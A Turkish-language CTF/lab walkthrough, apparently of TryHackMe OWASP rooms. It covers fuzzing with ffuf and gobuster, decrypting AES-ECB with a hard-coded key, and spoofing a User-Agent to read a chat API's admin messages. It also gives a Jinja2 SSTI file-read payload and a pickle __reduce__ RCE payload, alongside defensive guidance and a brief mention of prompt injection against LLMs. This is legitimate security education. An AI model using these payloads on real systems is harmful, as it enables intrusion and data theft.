ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -u http://10.114.174.236:5004/FUZZ -e .bak,.env,.txt,.config
```

Parametrelerin Teknik Yorumu:

- `-w` : Wordlist dosyasının yolunu belirtir.
- `-u` : Hedef URL'dir. `FUZZ` anahtar kelimesi, enjeksiyon noktasını gösterir.
- `-e` : Belirtilen kelimenin sonuna otomatik eklenecek uzantıları belirler.

Adım 3: Kaynak Kod İfşası (Source Code Disclosure) ve Statik Analiz

Çekilen `decrypt.js` dosyasının içeriği:

```
// Configuration
const SECRET_KEY = "my-secret-key-16";
const ENCRYPTION_MODE = "ECB";
const KEY_SIZE = 128;

function isValidDocumentFormat(data) {
  try {
    const decoded = atob(data);
    return decoded.length > 0 && decoded.length % 16 === 0;
  } catch (e) {
    return false;
  }
}
```



```
}  
}
```

Kod Bloğunun Analizi ve Teknik Çıkarımlar:

- **Hard-coded Secret:** Şifreleme/çözme anahtarı koda gömülmüştür. Anahtarın 16 karakter (128 bit) olması AES-128 kullanımını kesinleştirir.
- **ECB Modu:** ECB modu kullanıldığından IV (Başlatma Vektörü) KULLANILMAZ.
- **Veri Doğrulama (atob):** Şifreli metinlerin Base64 formatında kodlandığını kanıtlar.

Adım 4: Çevrimdışı Şifre Çözme (Offline Decryption) ve Araç Hata Ayıklaması

Sızma testlerinde araçların (Örn: CyberChef) verdiği hataları okuyabilmek önemlidir.

- **Hata 1: Invalid key length: 4 bytes**
 - **Neden:** Key veri tipi HEX olarak seçilmiştir. Anahtar onaltılık formata uymadığından AES için yetersiz veri kalır.
 - **Çözüm:** Format UTF8 olmalıdır.
- **Hata 2: Unable to decrypt input with these parameters.**
 - **Neden:** Input Raw seçiliyken AES modülüne Base64 metni verilmesi. AES dolgu (Padding) standartlarını karşılayamaz.
 - **Çözüm:** Metin Base64'ten çözülüp AES'e beslenmelidir.

Kusursuz İstismar Zinciri (The Kill Chain): CyberChef modülleri şu sırayla zincirlenmelidir:

1. **From Base64 Modülü:** Girdi alanındaki Base64 kodlu şifreli metni dekode edip, Raw formatında iletir.
2. **AES Decrypt Modülü:**
 - **Key:** my-secret-key-16
 - **Key Format:** UTF8
 - **IV:** (Boş bırakılır)
 - **Mode:** ECB
 - **Input:** Raw
 - **Output:** Raw

Bu yapılandırmayla kriptografik zafiyet sömürülür ve AES şifreli blokları çözerek hedef belge içeriğini (Flag) ekrana yansıtır.

OWASP AS06: Insecure Design (Güvensiz Tasarım)

Kavramsal Temel ve Mimari Çöküşün Doğası

Siber güvenlik disiplinde **Insecure Design** (Güvensiz Tasarım), bir uygulamanın kodlanma aşamasında (implementation) yapılan anlık bir sözdizimi veya mantık hatasından (Bug)

tamamen farklıdır. Bu zafiyet sınıfı; sistemin mimarisi, erişim kontrolleri ve veri akış yolları tasarlanırken **Threat Modelling** (Tehdit Modellemesi - potansiyel saldırı vektörlerinin tasarım aşamasında belirlenip analiz edilmesi süreci) adımlarının tamamen atlanması veya kusurlu varsayımlar (Flawed Assumptions) üzerine inşa edilmesi durumudur.

Geliştiricilerin sistem güvenliğini arka plandaki yetkilendirme mekanizmalarına (Authentication & Authorization) değil de, kullanıcıların yalnızca belirli bir arayüzü (örneğin resmi mobil uygulamayı) kullanacağı varsayımına dayandırması bu zafiyetin kalbidir.

Yapay Zeka (AI) Bağlamı: Modern 2025 mimarilerinde Insecure Design, yapay zeka asistanlarını da kapsar. Bir AI modelinin çıktılarına insan denetimi (Human Review) olmadan körü körüne güvenmek, kullanıcı girdilerini sistem komutlarıyla izole etmeden birleştirerek **Prompt Injection** (İstem Enjeksiyonu) saldırılarına kapı aralamak veya güvensiz kaynaklardan alınan **Poisoned Models** (Zehirlenmiş Modeller) kullanmak, sistemin tasarım aşamasından itibaren güvenliğe aykırı inşa edilmesinin kanıtlarıdır.

Hedef Analizi ve "Security by Obscurity" Yanılsaması

Hedef Sistem: IP_ADRESİ Uygulama Adı: SecureChat

Hedef uygulamaya standart bir masaüstü tarayıcısıyla erişildiğinde sistem şu HTML mesajını döndürmektedir: *"SecureChat is designed exclusively for mobile devices. Download our mobile app..."* (SecureChat yalnızca mobil cihazlar için tasarlanmıştır. Mobil uygulamamızı indirin...).

Bu durum siber güvenlikte **Security by Obscurity** (Gizleyerek Güvenlik Sağlama) yanılgısının ders kitabı niteliğindeki örneğidir. Geliştirici, web arayüzünü (Frontend) masaüstü kullanıcılarına kapatarak arka plandaki **API** (Application Programming Interface) katmanının da güvende olacağını varsaymıştır. Sistemin güvenlik bariyeri (**Trust Boundary**), kriptografik bir oturum yönetimi (Session Management) yerine yalnızca HTTP isteklerindeki **User-Agent** (Kullanıcı Aracısı) başlığına emanet edilmiştir. Siber güvenlikteki *"Asla İstemciye Güvenme"* (Never trust the client) altın kuralının ihlali, bu noktada sömürü (Exploitation) sürecimizin temelini oluşturur.

İstismar Süreci: Hatalı Varsayımlar ve Kök Dizin Tuzağı

Zafiyeti sömürmek için akla gelen ilk yöntem, hedef sunucuya giden HTTP isteğinin arasına girerek **User-Agent** başlığını sahte bir mobil cihaz imzasıyla değiştirmektir (**Spoofing**).

```
curl -s -A "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1" http://10.114.174.236:5005/
```

- **-s (Silent):** İndirme barlarını gizleyerek terminal çıktısını temizler.
- **-A (User-Agent):** curl aracının varsayılan masaüstü/terminal kimliğini ezer ve hedef sunucuya "Ben modern bir iPhone tarayıcısıyım" mesajını ileten sahte başlığı enjekte

eder.

Çıktı Analizi ve Mantıksal Dönüşüm: Mükemmel bir mobil kimlik kullanmamıza rağmen, sunucu yine aynı "Uygulamayı İndir" sayfasını döndürür. Bunun teknik nedeni, isteği **Kök Dizine (/)** yapmış olmamızdır. Modern mobil uygulamalar HTML sayfalarını indirip okumazlar; arka planda **JSON** veya **XML** formatında veri sunan gizli API uç noktalarıyla (Endpoints) haberleşirler. Ana sayfa (Landing Page) tasarımı gereği sadece bir vitrindir.

DİKKAT: Sızma testlerinde doğru kimlikle (Payload) yanlış kapıyı zorlamak sonuç vermez. Asıl zafiyet kök dizinde değil, uygulamanın can damarı olan arka plandaki API dizinlerindedir.

Keşif (Enumeration): Gobuster ve "Soft 404" Anomalisi

Arka plandaki gizli API uç noktalarını bulmak için **Gobuster** aracıyla bir dizin taraması (Directory Fuzzing) başlatıyoruz. Taramayı yaparken sistemin bizi engellememesi için sahte mobil kimliğimizi (**Header Injection**) araca entegre ediyoruz.

```
gobuster dir -u http://10.114.174.236:5005 -w /usr/share/wordlists/dirb/common.txt -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1"
```

- **dir** : Gobuster'ın dizin/dosya keşif modunu aktifleştirir.
- **-u** : Hedef URL'i tanımlar.
- **-w** : Taramada kullanılacak standart kelime listesinin mutlak yoludur.
- **-H** : Tarama işlemi sırasındaki her bir HTTP isteğine özel başlık (User-Agent) ekler.

Hata Ayıklama (Troubleshooting) ve Çıktı Analizi: Komut çalıştırıldığında Gobuster, denediği binlerce kelime için saniyeler içinde şu çıktıyı verir: ... (Status: 200) [Size: 3060]

Bu durum, hedefin mimari anormalliklerinden biri olan **Soft 404 (Catch-All)** tuzağıdır. Sunucu (Werkzeug), var olmayan dizinler için standart HTTP 404 Not Found hatası döndürmek yerine, her sorguya HTTP 200 OK yanıtı vermekte ve içerisine uygulamanın "Download the App" yazan ana sayfasını basmaktadır. Çıktıdaki [Size: 3060] değeri, bu sahte HTML sayfasının tam bayt boyutudur. Gobuster, her denemede 200 OK aldığı için tüm kelimeleri geçerli bir dizin sanıp (**False Positive**) terminalde kirlilik yaratır.

Stratejik Filtreleme ve API Keşfi

Bu kirliliği aşmak ve içinde gerçek verilerin saklandığı yegane uç noktayı bulmak için Gobuster'ın yeteneklerini kullanarak araca mantıksal bir kural ekliyoruz.

```
gobuster dir -u http://10.114.174.236:5005 -w /usr/share/wordlists/dirb/common.txt -H "User-Agent: Mozilla/5.0 (iPhone;
```

```
CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/16.0 Mobile/15E148 Safari/604.1" --exclude-length 3060
```

- `--exclude-length 3060` : Aracın elde ettiği HTTP yanıtlarından, boyutu tam olarak 3060 byte olanları (yani sahte ana sayfayı) filtreleyip terminal ekranından gizlemesini sağlar.

Nihai Keşif Sonucu: Bu filtre uygulandığında, Gobuster'ın çıktısındaki tüm kirlilik yok olur ve araç bize boyutu 3060 byte'tan farklı olan, uygulamanın asıl veri akışının sağlandığı `/api` dizinini tespit ederek ekrana basar.

Kusursuz İstismar Zinciri (The Kill Chain): RESTful API Sömürüsü

Artık elimizde iki kritik veri var: Zafiyetli uç noktanın konumu (`/api`) ve bu uç noktayı açan sahte anahtar (**Mobil User-Agent**). Sömürü (Exploitation) aşamasına geçiyoruz.

1. Veritabanı ve Kullanıcı İfşası (User Enumeration)

Modern uygulamaların REST mimarisine göre, kullanıcı verileri genellikle `/api/users` dizininde tutulur. Bu dizine mobil kimliğimizle doğrudan bir istek yapıyoruz:

```
curl -s -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS
X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148
Safari/604.1" http://10.114.174.236:5005/api/users
```

Çıktının Teknik Anlamı: Sistem, hiçbir kimlik denetimi (Missing Authentication) yapmaksızın veritabanındaki tüm kullanıcıları JSON formatında terminale döker. Bu listede yetkili bir `admin` kullanıcısının varlığı tespit edilir. Arayüzün gizlenmesinin, arka plandaki verileri korumadığı %100 kanıtlanmıştır.

2. Hedef Veriye (Flag) Erişim

Sistemde bir `admin` olduğunu ve uygulamanın amacının mesajlaşma (SecureChat) olduğunu bildiğimize göre, doğrudan yöneticinin özel mesajlarına erişmek için hedef uç noktayı çağırıyoruz:

```
curl -s -H "User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS
X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148
Safari/604.1" http://10.114.174.236:5005/api/messages/admin
```

Sömürü Sonucu ve Kapanış: Kusurlu tasarım (Insecure Design), bu isteğin gerçekten yetkili birinden veya geçerli bir oturumdan (Session/JWT) gelip gelmediğini kontrol etmez. Sistemin tek kontrol mekanizması olan User-Agent metni, bizim tarafımızdan "Ben bir iPhone'um" şeklinde taklit edildiği için (Spoofing), sonucu güven sınırını (Trust Boundary) kendi kendine ihlal eder.

Sistem, admin kullanıcısının tüm gizli mesajlarını terminale açık metin (Plaintext) olarak döker ve zafiyetin özeti olan hedef bayrak elde edilir: `THM{...}` (*Insecure Design Assumption - Güvensiz Tasarım Varsayımı*).

ÖNEMLİ: Bu analiz ve sömürü süreci, güvenliğin "gizlilikle" veya sonradan eklenen basit HTTP başlığı kontrolleriyle sağlanamayacağını net bir şekilde ortaya koyar. Gerçek güvenlik (Defense in Depth), her bir API rotasına katı erişim kontrolleri ve yetkilendirme kodları entegre edilerek, tasarımın sıfıncı gününden (Day Zero) itibaren kurgulanmalıdır.

OWASP A05: Injection (Enjeksiyon) Zafiyetleri

Temel Kavram: Injection Nedir ve Neden Gerçekleşir?

Injection (Enjeksiyon) zafiyetleri, web uygulamalarında on yıllardır süregelen ve 2021'den 2025'e kadar OWASP (Open Worldwide Application Security Project) listelerinin zirvesini terk etmeyen kritik bir yapısal zafiyet sınıfıdır.

Bu zafiyetin temelinde uygulamanın, dışarıdan aldığı **user input** (kullanıcı girdisi) verisini güvenli bir şekilde işleyememesi (mishandling) yatar. İdeal ve güvenli bir mimaride uygulamanın girdiyi sadece zararsız bir "veri" (literal) olarak işlemesi gerekir. Ancak zafiyet barındıran sistemlerde bu veri; filtrelenmeden, doğrudan bir veritabanına, işletim sistemi kabuğuna (**shell** - sistem komutlarının çalıştırıldığı arayüz), bir şablon motoruna (**templating engine**) veya bir **API**'ye (Application Programming Interface) iletilir. Hedef sistem, bu sanitize edilmemiş girdiyi zararlı bir komut veya çalıştırılabilir bir mantık bloğu olarak yorumladığı anda enjeksiyon zafiyeti tetiklenmiş olur.

Karşılaşılan Klasik Enjeksiyon Vektörleri

Web uygulamalarının mimarisine ve arka planda çalışan teknolojilere göre enjeksiyon saldırıları farklı formlarda karşımıza çıkar:

- **SQL Injection (SQLi):** Saldırganın, uygulamanın arka planındaki veritabanı sorgu mantığına doğrudan müdahale ettiği senaryodur. Genellikle bir giriş (login) formunda "username" alanına girilen verinin, arka plandaki SQL sorgusuna hiçbir temizleme işleminden (sanitization) geçmeden doğrudan **string concatenation** (karakter dizisi birleştirme) yöntemiyle dahil edilmesinden kaynaklanır. Veritabanı, girdinin nerede bitip asıl komutun nerede başladığını ayırt edemez.
- **Command Injection (Komut Enjeksiyonu):** Uygulamanın, kullanıcıdan aldığı veriyi altyapıdaki işletim sistemine (Linux/Windows) doğrudan bir terminal komutu (örn: `/bin/bash -c`) olarak göndermesi durumudur.
- **Server Side Template Injection (SSTI):** Sunucu taraflı şablon motorlarının (**Jinja2**, **Twig**, **Freemarker** vb.), kullanıcı girdisini basit bir metin yerine, çalıştırılabilir şablon kodu olarak (evaluate) yorumlaması sonucu ortaya çıkar.
- **AI Prompts (Yapay Zeka İstem Enjeksiyonu):** Modern sistemlerde, **LLM** (Büyük Dil Modelleri) entegrasyonlarına gönderilen komutların manipüle edilerek yapay zekanın

tasarım amacı dışındaki istenmeyen veya kısıtlanmış eylemleri yapmaya zorlanmasıdır.

ÖNEMLİ: Injection zafiyetlerinin etki derecesi (severity) istisnasız olarak "Kritik" veya "Yüksek" olarak değerlendirilmelidir. Başarılı bir sömürü (**exploitation**) durumu; devasa veri sızıntılarına, sunucu üzerinde tam yetkili kod çalıştırılmasına (**Remote Code Execution - RCE**) ve en nihayetinde sistemin tamamen ele geçirilmesine (system compromise) yol açar.

Savunma Mimarisi: Enjeksiyon Nasıl Önlenir?

Enjeksiyon zafiyetlerini önlemenin altın kuralı "Zero Trust" (Sıfır Güven) mantığıdır: **Hiçbir kullanıcı girdisine (user input) asla güvenilmemelidir.**

Uygulama geliştirilirken veriyi doğrudan işlemek (parsing) yerine, aşağıdaki derinlemesine savunma (**Defense in Depth**) stratejileri uygulanmalıdır:

1. Prepared Statements ve Parameterised Queries (Parametrik Sorgular): Özellikle SQL Injection'ı önlemek için en kesin ve endüstri standardı çözümdür.

```
-- ZAFİYETLİ YAPI (String Concatenation):
SELECT * FROM users WHERE username = '"' + userInput + '"';

-- GÜVENLİ YAPI (Prepared Statement):
SELECT * FROM users WHERE username = ?;
```

Teknik Arka Plan: Yukarıdaki güvenli yapıda (Prepared Statement) uygulanan mantık şudur: Veritabanı motoru (SQL Engine) önce sorgunun yapısını (kod iskeletini) derler ve yürütme planını oluşturur. Daha sonra kullanıcıdan gelen veri (? işareti ile belirtilen parametreye) sadece "saf veri/literal" olarak yerleştirilir. Kullanıcı bu alana ' OR 1=1 -- gibi zararlı bir SQL payload'ı gönderse bile, veritabanı bunu çalıştırılabilir bir mantıksal operatör olarak değil, kelimenin tam anlamıyla aranan metnin kendisi olarak görecektir.

2. İşletim Sistemi Komutlarından Kaçınma: Uygulama içinde işletim sistemi kabuğunu (shell) doğrudan çağıran fonksiyonlar (örneğin PHP'deki `system()` , `exec()` veya Python'daki `os.system()`) kesinlikle kullanılmamalıdır. Bunun yerine, işlemi shell'i hiç devreye sokmadan doğrudan bellek üzerinden halleden, dile özgü güvenli kütüphaneler tercih edilmelidir (Örn: Python'da `subprocess` modülünün `shell=False` parametresi ile kullanımı).

3. Input Validation (Girdi Doğrulama) ve Sanitisation (Temizleme): Veri, uygulamanın çekirdek mantığına ulaşmadan önce sıkı bir filtreden geçmelidir:

- Strict Data Types (Katı Veri Tipleri):** Beklenen girdi bir "yaş" değeri ise, sistem sadece "Integer" (tam sayı) kabul edecek şekilde sınırlandırılmalıdır.
- Escaping (Kaçış Karakterleri Kullanımı):** Girdi içindeki tehlikeli olabilecek özel karakterler (' , " , ; , < , > vb.), sistem tarafından zararsız metin karakterleri olarak algılanmalarını sağlayacak HTML veya URL encoding işlemlerinden geçirilmelidir.

Pratik Senaryo İncelemesi: SSTI ile Sistem Üzerinde RCE ve Flag Okuma

Bu aşamada, sağlanan laboratuvar ortamında (10.114.176.162:8000) Server Side Template Injection (**SSTI**) zafiyetini adım adım sömürerek işletim sistemi seviyesinde dosya okuma işlemini gerçekleştireceğiz.

Zafiyetin Kök Nedeni (Root Cause): Laboratuvar arayüzünü incelediğimizde, uygulamanın arka planda Python tabanlı **Jinja2** şablon motorunu kullandığını ve kullanıcı girdilerini `render_template_string` fonksiyonuna doğrudan aktardığını görüyoruz. Geliştirici, kullanıcıdan gelen string'i (karakter dizisini) güvenli bir statik değişken olarak atamak yerine, dinamik olarak render edilen şablonun bir parçası yapmıştır. Bu, kullanıcının Jinja2 tag'lerini (`{{ }}`) kullanarak Python objelerine erişmesine olanak tanır.

Adım 1: Zafiyetin Doğrulanması (Proof of Concept - PoC)

Sistemin girdimizi gerçekten bir şablon kodu olarak çalıştırıp çalıştırmadığını (**evaluate** edip etmediğini) doğrulamamız gerekir.

Kod snippet'i

```
{{ 7 * 7 }}
```

Analiz: Bu basit matematiksel **Payload**'ı girdi alanına yazıp gönderdiğimizde, eğer ekrana dümdüz `{{ 7 * 7 }}` metni basılırsa sistem güvenlidir (girdi sanitize edilmiştir). Ancak hedef sistemde bu işlemin sonucu olan **49** değeri ekrana yansiyorsa, sunucunun bizim gönderdiğimiz girdiyi geçerli bir Python/Jinja2 komutu olarak derleyip çalıştırdığını %100 doğrulamış oluruz.

Adım 2: Ortamın Keşfi (Context Enumeration)

Kod çalıştırma yeteneğimizi kanıtladıktan sonra, körlemesine saldırmak yerine mevcut şablon ortamında (namespace) hangi nesnelere (objects) ve sınıflara erişimimiz olduğunu haritalandırmamız (Enumeration) gerekir.

Kod snippet'i

```
{{ config.items() }}  
{{ request.__dict__ }}
```

Analiz:

- `config.items()` : Uygulamanın konfigürasyon sözlüğünü döker. Bazen geliştiriciler API anahtarlarını, veritabanı şifrelerini veya gizli anahtarları (SECRET_KEY) bu objenin içinde unutabilir.

- `request.__dict__` : Mevcut HTTP isteğini temsil eden Flask nesnesinin tüm özelliklerini (attributes) listeler. Bu komutların başarılı bir şekilde çıktı vermesi, Python ortamındaki yerleşik nesnelere ulaşabildiğimizi (sandbox kısıtlaması olmadığını) gösterir.

Adım 3: Sömürü (Exploitation) ve Bayrağı (Flag) Okuma

Sistemde `flag.txt` isimli bir dosyanın olduğunu biliyoruz. Amacımız Python'un dosya okuma fonksiyonu olan `open()` metodunu çalıştırmak. Ancak standart bir Jinja2 şablonunda `open()` doğrudan erişilebilir değildir. Bu izolasyonu kırmak için, az önce keşfettiğimiz `request` nesnesini bir köprü olarak kullanıp, Python'un çekirdek fonksiyonlarının bulunduğu `__builtins__` isim alanına (namespace) tırmanacağız.

Kod snippet'i

```
{{ request.application.__globals__.__builtins__.open('flag.txt').read() }}
```

Payload'ın Satır Satır Teknik Analizi:

1. `request` : Jinja2 ortamında her zaman erişilebilir olan varsayılan HTTP istek nesnesidir. Zincirimizin başlangıç (entry) noktasıdır.
2. `.application` : Bizi `request` nesnesinden, arka planda çalışan asıl Flask uygulama (application) objesine taşır.
3. `__globals__` : Python objelerinin sahip olduğu, tanımlandıkları modüldeki tüm global değişkenleri tutan gizli bir sözlüktür (dictionary). Bu sayede uygulamanın global scope'una sızmış oluruz.
4. `__builtins__` : **DİKKAT:** Burası sömürünün en kritik noktasıdır. Python'un standart yerleşik fonksiyonlarını (`open` , `eval` , `__import__` vb.) barındıran modüldür. Buraya ulaştığımız an, şablon motorunun kısıtlamalarından tamamen kurtulmuş (Sandbox Escape) oluruz.
5. `.open('flag.txt')` : `__builtins__` üzerinden Python'un yerleşik dosya açma fonksiyonunu çağırarak hedef dosyanın (flag.txt) bir dosya nesnesini (file object) RAM'de oluştururuz.
6. `.read()` : Oluşturulan dosya nesnesinin içeriğini okur ve string (metin) formatında döndürür. En baştaki `{{ }}` tag'leri sayesinde okunan bu dosya içeriği (gerçek bayrak), web sayfasında HTTP yanıtı olarak ekrana (Rendered Output) basılır.

OWASP A08: Yazılım ve Veri Bütünlüğü İhlalleri (Software or Data Integrity Failures)

Kavramsal Analiz ve Zafiyetin Doğası

Yazılım veya Veri Bütünlüğü İhlalleri (**Software or Data Integrity Failures**), bir uygulamanın kullandığı kod parçalarını, güncellemeleri veya kritik verileri orijinalliğini, bütünlüğünü ve

kaynağını doğrulamadan (verification) körü körüne güvenli kabul etmesi durumunda ortaya çıkan, OWASP listesinde son yıllarda sürekli karşımıza çıkan kritik bir zafiyet sınıfıdır.

Bu zafiyet, bir uygulamanın dış dünyadan aldığı verileri işleme biçimindeki temel bir mimari hatadan kaynaklanır. Uygulamalar; untrusted (güvenilmeyen) kaynaklardan gelen scriptleri veya konfigürasyon dosyalarını yüklediğinde, uygulamanın iş mantığını (business logic) doğrudan etkileyen verileri (örneğin derlenmiş **binary** dosyaları, web şablonlarını (templates) veya **JSON** veri setlerini) manipüle edilip edilmediğini kontrol etmeden kabul ettiğinde bu ihlal gerçekleşir.

ÖNEMLİ: Bu zafiyet sınıfı, siber güvenlik dünyasında en yıkıcı etkilere sahip olan Tedarik Zinciri (**Supply Chain**) saldırılarının temelini oluşturur. Saldırganlar doğrudan hedef sistemi kırmak yerine, hedefin güvendiği bir yazılım güncellemesinin arasına kendi zararlı kodlarını (**Payload**) enjekte ederek sistemin bu güncellemeyi kendi rızasıyla kurmasını sağlarlar.

Güven Sınırları (Trust Boundaries) ve Bütünlük Doğrulaması

Bu ihlalleri engellemenin mimari düzeydeki ilk adımı, kesin ve aşılmaz Güven Sınırları (**Trust Boundaries**) inşa etmektir. Bir güven sınırı, verinin kontrol edilmeyen dış dünyadan uygulamanın içsel ve güvenli işleyişine geçtiği görünmez bariyerdir.

Uygulamanın mimarisi, hiçbir kodun, yazılım güncellemesinin veya kritik veri parçasının "meşru" olduğunu varsaymamalıdır. Bunun yerine, kriptografik kontroller uygulanmalıdır. Dosya bütünlüğünün doğrulanması aşamasında **Checksum** (Sağlama Toplamı) mekanizmaları devreye girer.

Aşağıdaki komut, sisteme indirilen kritik bir güncelleme paketinin veya derlenmiş bir ikili dosyanın bütünlüğünü doğrulamak için manuel olarak veya bir script aracılığıyla nasıl bir kontrol mekanizması kurulması gerektiğini gösterir:

Bash

```
sha256sum application_update_v2.tar.gz
```

Bu komut çalıştırıldığında işletim sistemi, dosyanın içeriğini okur ve **SHA-256** hashing algoritmasını kullanarak matematiksel bir özet üretir (Örn:

```
e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855 ).
```

Arka plandaki teknik mantık: Üretilen bu hash değeri, yazılımın resmi geliştiricisi tarafından yayınlanan hash değeri ile statik olarak karşılaştırılır. Eğer elde edilen değer ile resmi değer arasında tek bir karakter bile farklıysa, dosyanın orijinal olmadığı kanıtlanır. Bu durum iki anlama gelebilir: Ya indirme sırasında ağ tabanlı bir veri bozulması (data corruption) yaşanmıştır ya da **MITM** (Man-in-the-Middle) saldırısı yapan bir tehdit aktörü dosyayı araya girip manipüle etmiştir.

DİKKAT: Kriptografik doğrulama süreçlerinde MD5 veya SHA-1 gibi çarpışma (**Collision** - iki farklı dosyanın aynı hash değerini üretmesi durumu) zafiyeti barındıran zayıf algoritmalar kesinlikle kullanılmamalı, en az **SHA-256** standart olarak benimsenmelidir.

CI/CD Süreçlerinde Bütünlük ve Otomasyon Güvenliği

Bütünlük ve güven sınırları, yalnızca son kullanıcıya veya production (canlı) ortama ulaşan veriler için değil, yazılımın mutfağı olan derleme (**Build**) süreçleri için de geçerlidir. Modern yazılım geliştirme döngüsünün omurgası olan **CI/CD** (Continuous Integration / Continuous Deployment - Sürekli Entegrasyon ve Dağıtım) hatları, kendi içlerinde katı bir güven sınırına sahip olmalıdır.

Bir **CI/CD pipeline**'ı (boru hattı), GitHub veya GitLab gibi repolardan kod çekerken, npm, PyPI veya Maven gibi kaynaklardan dış bağımlılıkları (dependencies) indirirken bu kaynakların meşruiyetini doğrulamak zorundadır. Aksi takdirde, zararlı bir dış kütüphane otomatik derleme sürecine dahil edilecek ve elde edilen nihai yazılım, geliştiricinin bile haberi olmadan bir arka kapı (**Backdoor**) barındıracaktır. Bu süreci güvence altına almak için derleme süreçlerinde imzalanmış kod depoları (signed commits) kullanılmalı ve sadece belirli, kriptografik olarak doğrulanmış kaynakların projenin yapıtaşlarını değiştirmesine izin verilmelidir.

Zafiyetin Anatomisi: Insecure Deserialization (Güvenli Olmayan Ters Serileştirme)

Serialization (Serileştirme), bellekte (RAM) çalışan karmaşık bir veri yapısının veya nesnenin (object), ağ üzerinden taşınabilmesi veya bir veritabanına/dosyaya yazılabilmesi için statik bir formata (örneğin bir byte dizisine, JSON veya XML formatına) dönüştürülmesi işlemidir. **Deserialization** (Ters Serileştirme) ise bu statik verinin tekrar orijinal yapısına ve bellekteki işlevsel nesne formuna geri döndürülmesidir.

Insecure Deserialization zafiyeti, uygulamanın dış dünyadan (kullanıcıdan) gelen bu serileştirilmiş veriyi, hiçbir **Integrity** (Bütünlük) ve **Authenticity** (Kaynağın Doğruluğu) kontrolü yapmadan doğrudan belleğe alıp işlemesi durumunda ortaya çıkar. Uygulama, kullanıcının gönderdiği verinin "güvenli" ve "kendi oluşturduğu orijinal veri" olduğunu varsayar. Bu devasa bir **Trust Boundary Violation** (Güven Sınırı İhlali) hatasıdır. Saldırgan, araya girerek serileştirilmiş veriyi manipüle eder ve sunucu bunu ters serileştirdiğinde (deserialize ettiğinde), saldırganın enjekte ettiği zararlı kodlar doğrudan sunucunun işletim sistemi seviyesinde çalıştırılır. Bu durum genellikle **RCE** (Remote Code Execution - Uzaktan Kod Çalıştırma) ile sonuçlanır.

Python "pickle" Modülü ve Mimarisi

Bu laboratuvarda hedef uygulama, Python'un yerleşik serileştirme kütüphanesi olan **pickle** modülünü kullanmaktadır.

ÖNEMLİ: `pickle` modülü mimari olarak kesinlikle güvenli değildir ve resmi Python dokümantasyonunda bile "Güvenilmeyen kaynaklardan gelen verileri asla `unpickle` (ters serileştirme) etmeyin" şeklinde çok net bir uyarı bulunur. `pickle`, sadece veriyi değil, nesnelerin nasıl inşa edileceğinin talimatlarını da saklar. Bu talimatlar üzerinde oynama yapmak, Python'un o nesneyi belleğe alırken keyfi komutlar çalıştırmasına olanak tanır.

Saldırı Vektörü: `__reduce__` Metodunun İstismarı

Python'da bir nesne `pickle` ile serileştirilirken, `pickle` motoru o nesnenin nasıl yeniden inşa edileceğini bilmek için nesne içindeki özel (magic) metotlara bakar. Bu metotlardan en kritik olanı `__reduce__` metodudur.

Eğer bir sınıfın içinde `__reduce__` metodu tanımlanmışsa, `pickle` ters serileştirme işlemi sırasında nesneyi oluşturmadan önce doğrudan bu metodu çağırır. `__reduce__` metodu, her zaman bir demet (**tuple**) döndürmek zorundadır. Bu demetin yapısı şu şekildedir:

1. **Callable (Çağrılabilir Nesne/Fonksiyon):** Çalıştırılacak olan fonksiyon (Örn: `os.system`, `eval`, `subprocess.Popen`).
2. **Arguments (Argümanlar):** Bu fonksiyona geçirilecek olan parametreler demeti.

Saldırgan olarak bu mantığı şu şekilde istismar ederiz: Kendi yazdığımız zararlı bir sınıfın içine `__reduce__` metodu ekleriz ve bu metodun işletim sistemi seviyesinde bir komut veya bir Python kodu çalıştırmasını sağlarız. Sunucu bu zararlı veriyi alıp `pickle.loads()` (veya benzeri bir okuma fonksiyonu) ile açtığı anda, bizim `__reduce__` metodumuzdaki komutlar tetiklenir.

Güvenli Olmayan Serileştirme Açığı: Subprocess Modülü ile Uzaktan Kod Yürütme (RCE)

Daha önceki denemelerde karşılaşılan hataların ve uygulanan yanlış metotların ardından, hedefe ulaşmak için sistem seviyesinde tam yetki sağlayan ve işletim sistemi komutlarını doğrudan çalıştırıp çıktılarını yansıtan nihai **Payload** (Saldırı Yüğü) mimarisi aşağıda çözümlenmiştir.

Bu senaryoda, Python ortamındaki **Insecure Deserialization** (Güvenli Olmayan Ters Serileştirme) zafiyetini sömürürken, sadece belirli bir dosyayı okumaya çalışmak yerine, sistemde tam bir **Enumeration** (Bilgi Toplama/Keşif) yapmamıza olanak tanıyan bir RCE (Uzaktan Kod Çalıştırma) elde etmeye odaklanıyoruz.

Aşağıdaki Python betiği, hedef sunucuda `ls -la` komutunu çalıştırarak dizindeki tüm gizli dosyaları ve izinleri listeleyen, ardından bu çıktıyı Base64 formatında bize geri döndüren kusursuz bir saldırı vektörüdür.

```
import pickle
import base64
import subprocess
```

```
class MaliciousLS:
    def __reduce__(self):
        # Çalıştırmak istediğimiz komutu bir liste (array) formatında
        tanımlıyoruz.
        cmd = ['ls', '-la']

        # Komutu çalıştıran ve çıktısını (stdout) geri döndüren subprocess
        fonksiyonu.
        # subprocess.check_output çıktıyı byte dizisi olarak döndürür.
        return (subprocess.check_output, (cmd,))

# Payload'u üret ve encode et
pickled = pickle.dumps(MaliciousLS())
encoded = base64.b64encode(pickled).decode()

print(encoded)
```

Kodun ve Arka Plandaki Mimarının Derinlemesine Analizi

Bu kod bloğunda, standart `eval` veya `os.system` yaklaşımlarının neden terk edildiğini ve **subprocess** kütüphanesinin neden tercih edildiğini teknik olarak kavramak hayati önem taşır.

